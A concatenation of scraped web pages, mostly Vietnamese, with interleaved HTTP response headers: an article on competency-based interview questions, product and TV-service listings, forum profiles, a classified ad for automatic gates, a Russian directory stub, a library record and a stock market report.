Với những câu hỏi đánh giá năng lực, thay vì chỉ nhìn trên bản tóm tắt mà ứng viên đưa ra trong phần kinh nghiệm, bạn có thể hỏi chính xác họ làm điều đó như thế nào. “Đó là sự khác biệt giữa việc hỏi ai đó rằng họ có biết dùng Microsoft Word với việc hỏi họ có biết định dạng một tài liệu để lập hoá đơn trong Word hay không,” Barton nói.
Câu hỏi đánh giá năng lực có thể giống như một thử thách nhỏ. Một người quản lý khách sạn phỏng vấn một đầu bếp có thể hỏi anh ta có kinh nghiệm chuẩn bị bữa sáng hay không nhưng sẽ khai thác được nhiều thông tin hơn nếu yêu cầu anh ta chuẩn bị một bữa sáng.
Toàn bộ quá trình giao tiếp hiệu quả trong một cuộc phỏng vấn cũng đều nhằm vào mục tiêu của bạn, Barton nói. “Rất dễ dàng mắc sai lầm khi phỏng vấn một ứng viên mà bạn chỉ tìm hiểu rằng những điều được viết trong bản tóm tắt có đúng là những gì ứng viên có hay không”, “một nhà phỏng vấn giỏi sẽ trao đổi với ứng viên và dựa vào quá trình phỏng vấn để hiểu họ thêm về họ, cả những điều mà họ không viết trong bản tóm tắt”.
Theo Quantrikinhdoanh.com.vn
### Hỏi
[Chuyên gia](/user/expert-list) Quantri.vn [Đặt câu hỏi](/ask/question)
0 Comments

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0


markdown:
-
[Namibia 200 Dollar 1999](http://quatangsuutam.com/namibia-200-dollar-1999--1-1-5099984.html)
2.100.000 VND
-
[Namibia 100 Dollar 1999](http://quatangsuutam.com/namibia-100-dollar-1999-1-1-5099983.html)
1.100.000 VND
-
[Namibia 20 dollar 2001](http://quatangsuutam.com/namibia-20-dollar-2001--1-1-5099982.html)
350.000 VND
-
[Namibia 10 dollar 2001](http://quatangsuutam.com/namibia-10-dollar-2001--1-1-5099981.html)
190.000 VND
-
[Nambia 10$ 2012](http://quatangsuutam.com/nambia-10-2012--1-1-5099980.html)
90.000 VND
2.100.000 VND
1.100.000 VND
350.000 VND
190.000 VND
90.000 VND

Server: bncserver

X-Frame-Options: DENY

Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform


markdown:
Dãn cách tên bằng dấu phẩy(,).
Truyền Hình An Viên tại Huyện Trường Sa, Khánh Hòa
Bạn đang có nhu cầu sử dụng truyền hình An Viên tại Huyện Trường Sa, Khánh Hòa ???
Nhưng bạn...
Truyền hình An Viên - MobiTV HCM
Gói A truyền hình an viên HCM gồm 66-68 kênh Gói cước A đáp ứng nhu cầu cờ bản của khách hàng, trong đó có...
Truyền Hình An Viên tại Bình Dương
Bạn đang có nhu cầu sử dụng truyền hình An Viên tại Bình Dương ???
Nhưng bạn chưa tìm được cho mình một đại...
Truyền Hình MobiTV tại Huyện Thường Tín, Hà Nội
Lắp đặt Truyền hình MobiTV tại Huyện Thường Tín, Hà Nội - 0902.485.444. Miễn phí 30 tháng cước...
Truyền Hình Kỹ Thuật Số tại Hồ Chí Minh
Truyền hình kỹ thuật số hiện nay được sử dụng trên hai hạ tầng là truyền hình kỹ thuật số vệ tinh (viết...
Truyền Hình Mobitv tại Phú Mỹ Hưng, Hồ Chí Minh
Bạn đang có nhu cầu sử dụng truyền hình An Viên Phú Mỹ Hưng, Hồ Chí Minh ???
Nhưng bạn chưa...
Truyền Hình MobiTV khu vực Vinhomes Central Park, Quận Bình Thạnh, Hồ Chí Minh
Lắp đặt Truyền hình MobiTV gần khu vực căn hộ Vinhomes Central...


markdown:
-
**Chào Mừng Bạn Đến Với Hệ Thống Diễn Đàn Trường Thịnh Group!**
+ Mỗi Tin Đăng Phải Có Tiêu Đề Khác Nhau
+ Mỗi Tin Rao Vặt Phải Có Nội Dung Khác Từ 30% Trở Lên
+ Chúng tôi có quyền Xóa, Sửa Bài viết Hoặc Banned Mà Không Cần Báo Trước Với Bất Kỳ Lý do gì
![ phonghien](http://raovat.bommucmayintannoi.net/styles/vnxf_bmt7/xenforo/avatars/avatar_male_l.png)
- Hoạt động cuối:
- 8/6/18
- Tham gia ngày:
- 25/2/17
- Bài viết:
- 81
- Đã được thích:
- 0
- Điểm thành tích:
[6](members/phonghien.341/trophies)
- Giới tính:
- Nam
- Sinh nhật:
- 1/1/90 (Tuổi: 28)
- Nơi ở:
[hà nội](misc/location-info?location=h%C3%A0+n%E1%BB%99i)
- Nghề nghiệp:
- điện lạnh
### Chia sẻ trang này
# phonghien
Member, Nam, 28, đến từ
[hà nội](misc/location-info?location=h%C3%A0+n%E1%BB%99i)
- phonghien được nhìn thấy lần cuối:
- 8/6/18
-
- Đang tải...
- Đang tải...
-
### Giới thiệu
- Giới tính:
- Nam
- Sinh nhật:
- 1/1/90 (Tuổi: 28)
- Nơi ở:
[hà nội](misc/location-info?location=h%C3%A0+n%E1%BB%99i)
- Nghề nghiệp:
- điện lạnh
### Tương tác


markdown:
-
**Chào Mừng Bạn Đến Với Hệ Thống Diễn Đàn Trường Thịnh Group!**
+ Mỗi Tin Đăng Phải Có Tiêu Đề Khác Nhau
+ Mỗi Tin Rao Vặt Phải Có Nội Dung Khác Từ 30% Trở Lên
+ Chúng tôi có quyền Xóa, Sửa Bài viết Hoặc Banned Mà Không Cần Báo Trước Với Bất Kỳ Lý do gì
![ thong999](http://raovat.bommucmayintannoi.net/styles/vnxf_bmt7/xenforo/avatars/avatar_male_l.png)
- Hoạt động cuối:
- 16/9/17
- Tham gia ngày:
- 13/6/17
- Bài viết:
- 96
- Đã được thích:
- 0
- Điểm thành tích:
[6](members/thong999.706/trophies)
- Giới tính:
- Nam
- Sinh nhật:
- 5/4/91 (Tuổi: 27)
### Chia sẻ trang này
# thong999
Member, Nam, 27
- thong999 được nhìn thấy lần cuối:
- 16/9/17
-
- Đang tải...
- Đang tải...
-
### Giới thiệu
- Giới tính:
- Nam
- Sinh nhật:
- 5/4/91 (Tuổi: 27)
### Tương tác


markdown:
Rao Vặt Miễn Phí, Rao Vặt Quảng Cáo 3D Dễ Dàng-Nhanh Chóng-Hiệu Quả-Miễn Phí
Search Query
Display results as :
Posts
Topics
Advanced Search
Search
Inside
G
o
o
g
l
e
Display results as :
Posts
Topics
Advanced Search
Latest topics
»
Bán máy nén khí cũ tại Nam Định
Tue Jun 06, 2017 1:26 am by
tuyetdaothi
»
Bán máy nén khí trục vít cũ tại Hải Phòng
Sat May 27, 2017 9:47 am by
tuyetdaothi
»
Bán máy nén khí piston Iwata 3.7 kW
Thu May 18, 2017 10:13 am by
tuyetdaothi
»
Máy nén khí dùng cho sản xuất dược phẩm
Tue May 02, 2017 4:25 pm by
tuyetdaothi
»
Máy nén khí trục vít Mitsui seiki 11 kw
Fri Apr 21, 2017 6:23 pm by
tuyetdaothi
»
Xưởng may áo thun quảng cáo, áo thun đồng phục @0937 528 659
Mon Mar 16, 2015 10:50 am by
bichphuong
»
Thiết kế website bán sim số trọn gói tại AMI Media
Wed Mar 11, 2015 11:59 am by
amimediavn4
»
Chọn công ty nào khi thiết kế web sim số đẹp
Tue Mar 10, 2015 9:16 am by
amimediavn4
»
Giá thiết kế website bán sim trọn gói là bao nhiêu ?
Mon Mar 09, 2015 6:46 am by
amimediavn4
Rao Vặt 3D - Rao Vặt Miễn Phí - Ads Book
::
For Sale
::
Everything else
Share
|
Cổng xếp tự động Toàn An Mart nhập khẩu
Author
Message
camnhung1110
Tổng số bài gửi
:
53
Points
:
19119
Reputation
:
0
Join date
:
2013-04-12
Subject: Cổng xếp tự động Toàn An Mart nhập khẩu
Tue May 14, 2013 10:09 am
[URL="http://chothietbivn.com/cong-xep-inox-tu-dong.html"]CỔNG INOX TỰ ĐỘNG DÀNH CHO CƠ QUAN, TÒA NHÀ[/URL]
Bạn đang băn khoăn chưa biết nên lắp loại cổng nào cho cơ quan, nhà xưởng của mình? Hãy tham khảo hệ thống cửa inox xếp tự động của [URL="http://chothietbivn.com/home/"]công ty TNHH Toàn An Mart[/URL]:
Liên hệ: Ms Nhung 0975 825 346
1. ƯU ĐIỂM:
• Sang trọng và thẩm mỹ,
• Chất liệu inox sáng bóng và chịu mọi tác động thời tiết,
• Hoạt động êm ái với động cơ điện thông minh, hệ thống bánh xe và hệ thống lưới xếp,
• Sử dụng dễ dàng: chỉ với 1 nút bấm bạn có thể đóng mở cửa thật dễ dàng,...
2. CẤU TẠO: Hệ thống bao gồm:
1. Các thanh inox được thiết kế có thể xếp gọn dễ dàng,
2. Hệ thống bánh xe di chuyển,
3. Động cơ điện,
4. Đèn nháy báo hiệu,
5. Bàn điều khiển đóng mở cửa.
Các thông số :
• Chiều cao cổng điện: từ 1.4m - 1.8m, khoảng cách giữa 2 khung là 400 ±20mm, khoảng cách tâm ray là 355mm
• Vận tốc chuyển động: 5m/phút
• Khung chính là hộp 25-50 dày 1mm được uốn cong lệch, giữa 2 cung được trang trí bằng các cột đứng bằng hộp 25-25 dày 1mm trên có gắn các quả bi Ø45.
• Liên kết khung chính và cột trang trí là các nan chéo hộp 25-25 dày 1mm
• Bánh xe bằng nhựa đặc chủng có vòng bi ở trong , các khớp nối cũng dùng bằng nhựa này nhằm mục đích tạo sự êm ái khi cổng chuyển động, không có tiếng kêu.
• Ray bằng thép V dày 5mm
• Bộ động cơ điện : Động cơ 370w - 550w. Bảo hành 12 tháng (theo chính sách bảo hành của sieuthiInox.com)
• Thiết kế có chức năng giảm chấn
Mọi vấn đề thắc mắc xin liên hệ đến phòng kinh doanh [URL="http://chothietbivn.com/home/"]Toàn An Mart[/URL]
Địa chỉ: 41 – 43 Trần Cao Vân, Phường 6, Quận 3, Tp.HCM
Điện thoại: 0975 825 346 Ms Nhung
Mail:
nhungcdkl@gmail.com
Web: [URL="http://chothietbivn.com/home/"]chothietbivn.com[/URL] - conganninh.com
TOÀN AN MART UY TÍN – CHẤT LƯỢNG
Cổng xếp tự động Toàn An Mart nhập khẩu
Page
1
of
1
Similar topics
Similar topics
»
Breeding clownfish
Permissions in this forum:
You
cannot
reply to topics in this forum
Rao Vặt 3D - Rao Vặt Miễn Phí - Ads Book
::
For Sale
::
Everything else
Rao Vặt 3D - Rao Vặt Miễn Phí - Ads Book
::
For Sale
::
Everything else
Jump to:
Select a forum
|
|--Rao Vat 3D
| |--Admin Board
| |--Discussion - Hot News
|
|--Hot - Discounted - Sale Items
| |--Discount - Sale off - Hot Deals
| |--Resell Deals
|
|--For Sale
| |--Clothes, Footwear & Accessories
| |--•Beds & Bedroom Furniture
| |--•Baby & Kids stuff
| |--Dining & Living Room Furniture
| |--•DVDs, Games & Books
| |--Furniture
| |--•Gardening Stuff
| |--•Home Appliances-Home Fixtures & Fittings
| |--•Kitchen Appliances & Accessories
| |--•Office Furniture & Equipment
| |--•Mobile Phones, Telephones & Accessories
| |--•TV, DVD & Cameras-Sports Equipment
| |--Everything else
|
|--Wanted
| |--Wanted Items
|
|--Electronics & Technology
| |--Camera Accessories-Cameras - Digicams
| |--Computer Peripherals - Laptops
| |--Fax, EPABX, Office - Inverters, UPS & Generators
| |--IPods, MP3 Players - Music Systems - Home
| |--Office Supplies - Security Equipment - Products
| |--TV - DVD - Multimedia
| |--Video Games - Consoles - Everything Else
|
|--Home & Lifestyle
| |--Air Conditioners & Coolers
| |--Baby - Infant Products
| |--Bags - Luggage
| |--Books - Magazines
| |--Clothing - Garments
| |--Fashion Accessories - Gifts - Stationary
| |--Health - Beauty Products
| |--Home - Kitchen Appliances - Office Furniture
| |--Jewellery - Paintings - Watches
| |--Toys - Games - Musical Instruments
| |--Sport - Fitness Equipment - Everything Else
|
|--Real Estate
| |--Apartments - For Sale - Rent - Lease
| |--Office-Commercial For Sale - Rent - Lease
| |--Land - Plot - Houses For Sale
| |--Paying Guest - Hostel - Motel
| |--Tour - Vacation Rentals - Timeshare
| |--Service Apartments
|
|--Vehicles
| |--Bicycles
| |--Buses - Tempos - Trucks
| |--Cars
| |--Motor Service - Repair
| |--Motorcycles
| |--Scooters
| |--Spare Parts - Accessories
|
|--Jobs
| |--Accounting - Tax - Audit
| |--Advertising - Media - PR
| |--Airline - Travel - Customer Service
| |--Architects - Interior - Designers
| |--Banking - Finance - Insurance - Engineering
| |--Catering - Hospitality - BPO - Call Center - KPO
| |--Content Writers - Translators - Education - Teaching
| |--Freelancers - Fashion Designing - Merchandising
| |--Internet - Web Designers - Marketing - HR
| |--Retail - Sales - Secretarial - Office Staff
| |--Summer Trainees - Freshers - Other Jobs
|
|--Services
| |--Advertising - Design - Business Offers
| |--Car Rentals - Taxi Services - Airline - Train - Bus Tickets
| |--Baby Sitters - Nanny - Cooks - Drivers
| |--Computer - Web Services - Electronics - Appliances Repair
| |--Hotels - Resorts - Health - Fitness - Event -Party Planners - DJ
| |--Travel Agents - Vacation - Tour Packages
| |--Loans - Insurance -Lawyers - Advocates -Taxation - Audit
| |--Everything Else
|
|--Education & Learning
| |--Coaching Classes - Career Counseling
| |--Dance - Music Classes - Hobby Classes
| |--University - College - Play Schools - Private Tuitions
| |--Professional Courses - Short Term Programs
| |--Text books & Study Material - Workshops - Anything
|
|--Community - Events
| |--Charity - Donate - Lost - Found
| |--Religion
| |--Exhibitions - Trade Fairs - Festivals
| |--Theatre - Plays - Movies - Workshops - Seminars
|
|--Pets & Pet Care
|--Secondhand Mall
|--Pet Care - Accessories - Pet Foods
|--Pet Adoption & Pet Sale - Pet Clinics -Pet Training & Grooming
|--Review Your Websites
Sponsor
For Ads: dangminhtuyen1980@yahoo.com
Website đang hoạt động thử nghiệm, chờ xin giấy phép của Bộ TT&TT
Partners
|
ibet88 mien phi
|
ionline 2014
|
Bigone 2014
|
tra chanh quan mien phi
|
tra chanh quan mien phi 2014
|
gopet online 2014
|
game chien binh cs
-
tai tra chanh quan game
-
anh hai vui nhon
-
tra chanh quan
-
tai iwin
-
iwin
-
Sat Thu Truyen Ky
Free forum
|
©
phpBB
|
Free forum support
|
Contact
|
Report an abuse
|
Free forum

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Vary: User-Agent


markdown:
|
|
## Телефонный справочник Животные и растения - Волгодонск г Ростовская область
ул. Мира, 35
Пионерская ул., 165
ул. Гагарина, 52
ул. Дружбы, 14
пр. Строителей, 43
ул. 50 лет СССР, 10
пр. Курчатова, 26/3
Список организаций справочника "Волгодонск г" находящихся в рубрике Животные и растения.
|
|

Server: Apache/1.3.42 (Unix)

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/html; charset=WINDOWS-1251


markdown:
English
|
tiếng Việt
Trang chủ
Tìm kiếm
Năm
Trợ giúp
Bộ sưu tập Sách Đông Dương
> Hương hoa đất nước 1949
Hương hoa đất nước, 1949
Sách
Thông tin
Nội dung
Mã kho
P28512
Tên sách
Hương hoa đất nước
Tác giả
Trọng Toàn
Khu vực
Sài Gòn
Nơi xuất bản
Dân chủ
Năm xuất bản
1949
Ngôn ngữ
vi
Từ khóa
Câu hát , Truyền khẩu
Tóm tắt
Giới thiệu các câu hát truyền khẩu tự ngàn xưa, có in một số câu chưa xuất bản
Bánh xe lăn, phím mũi tên, PgUp, PgDn, Home, End
để di chuyển trang.
Phím +, ‒ trên bàn phím số
để phóng to/thu nhỏ trang.
x

Server: Apache/2.2.15 (CentOS)

Cache-Control: no-cache, must-revalidate

Set-Cookie: VeridianSessionID=;


markdown:
![]()
Phiên giao dịch ngày 2-8, thị trường chứng khoán đã lấy lại đà hồi phục nhờ hoạt động bán đã được tiết giảm. Đóng cửa, chỉ số VN-Index tăng được 3,55 điểm và HNX-Index cộng thêm 0,28 điểm.
Bên sàn HoSE, ngay đầu giờ lượng cung đã được tiết giảm, VN-Index trong đợt 1 tăng ngay 1,68 điểm và lên 416,1 điểm. Khối lượng giao dịch đạt trên 810,7 nghìn đơn vị, tương ứng 17,2 tỷ đồng.
Bước sang đợt khớp lệnh liên tục, tâm lý thị trường lạc quan hơn, nhờ đó VN-Index tiếp tục được khởi sắc.
Tại nhóm cổ phiếu vốn hóa lớn, các mã VIC, BVH, GAS, MSN đã duy trì được đà tăng đến hết phiên, riêng mã VNM bất ngờ được mua gom với mức giá được đẩy tăng kịch trần. Tuy nhiên, mã VCB sau mọi nỗ lực vẫn chỉ "đứng" được ở mức tham chiếu.
Nhóm cổ phiếu blue-chip đã hòa chung cùng không khí thị trường, các mã như CTG, DRC, GMD, KDC, PNJ, PVD, STB… đã lấy lại được sắc xanh.
Đóng cửa, chỉ số VN-Index tăng 3,55 điểm (+0,86%) và lên 416,1 điểm. Khối lượng giao dịch đạt gần 21,9 triệu đơn vị, tương ứng 330,8 tỷ đồng.
Nhóm VN30 chốt phiên tăng 4,36 điểm (+0,89%) và lên 494,12 điểm. Khối lượng giao dịch đạt trên 6,9 triệu đơn vị, tương ứng gần 148,7 tỷ đồng.
Bên phía sàn Hà Nội, chỉ số HNX-Index đóng cửa tăng 0,28 điểm (+0,41%) và lên 68,98 điểm. Khối lượng giao dịch đạt 26,1 triệu đơn vị, tương ứng giá trị 431,2 tỷ đồng.
Chỉ số HNX30 cũng tăng 0,71 điểm (+0,55%) và lên 130,07 điểm. Khối lượng giao dịch đạt 9,7 triệu đơn vị, tương ứng 99 tỷ đồng.
Phiên này, chỉ số UpCoM-Index đóng cửa giảm 0,09 điểm (-0,24%) và xuống 37,08 điểm. Khối lượng giao dịch đạt 457 nghìn đơn vị, tương ứng giá trị gần 3,4 tỷ đồng.
#### Các tin, bài viết khác
[Coteccons - Ngôi vương lung lay](/chung-khoan/coteccons-ngoi-vuong-lung-lay-59050.html) [Dòng vốn ngoại đang chờ cơ hội](/chung-khoan/dong-von-ngoai-dang-cho-co-hoi-59048.html) [Dòng tiền đứng ngoài, VN Index lại mất mốc 1.000 điểm](/chung-khoan/dong-tien-dung-ngoai-vn-index-lai-mat-moc-1000-diem-58971.html) [KDF lên kế hoạch chuyển niêm yết từ UPCoM sang HOSE](/chung-khoan/kdf-len-ke-hoach-chuyen-niem-yet-tu-upcom-sang-hose-58970.html) [Thông tin đầu tư ngày 18-6](/chung-khoan/thong-tin-dau-tu-ngay-186-58960.html) [Nghịch lý giá cổ phiếu “vua”](/chung-khoan/nghich-ly-gia-co-phieu-vua-58940.html) [Vì sao thanh khoản tụt áp?](/chung-khoan/vi-sao-thanh-khoan-tut-ap-58941.html) [AAA chủ động xây dựng kênh thông tin đa chiều](/chung-khoan/aaa-chu-dong-xay-dung-kenh-thong-tin-da-chieu-58951.html) [Khối ngoại bán ròng rã suốt tuần](/chung-khoan/khoi-ngoai-ban-rong-ra-suot-tuan-58923.html) [Kỳ vọng nhóm ngân hàng và hàng không](/chung-khoan/ky-vong-nhom-ngan-hang-va-hang-khong-58841.html)

Cache-Control: private

Set-Cookie: .ASPXANONYMOUS=bdyuObYiBd-iaGddH-BcwNPEIsU9lQLvTTIITc_h2LwM-3x3MihYbfwXWJfsYtzSX0nTFmGREETr1LorV5H6IlOvtnjZsKSjtornNTqpFpJGCiGhEho74K3N0DDFqjcwsFHt3-7PXhnaCfOIka1xPA2; domain=sggp.org.vn; expires=Thu, 30-Aug-2018 04:39:31 GMT; path=/; HttpOnly

Access-Control-Allow-Headers: Content-Type

X-Cache: MISS from cache13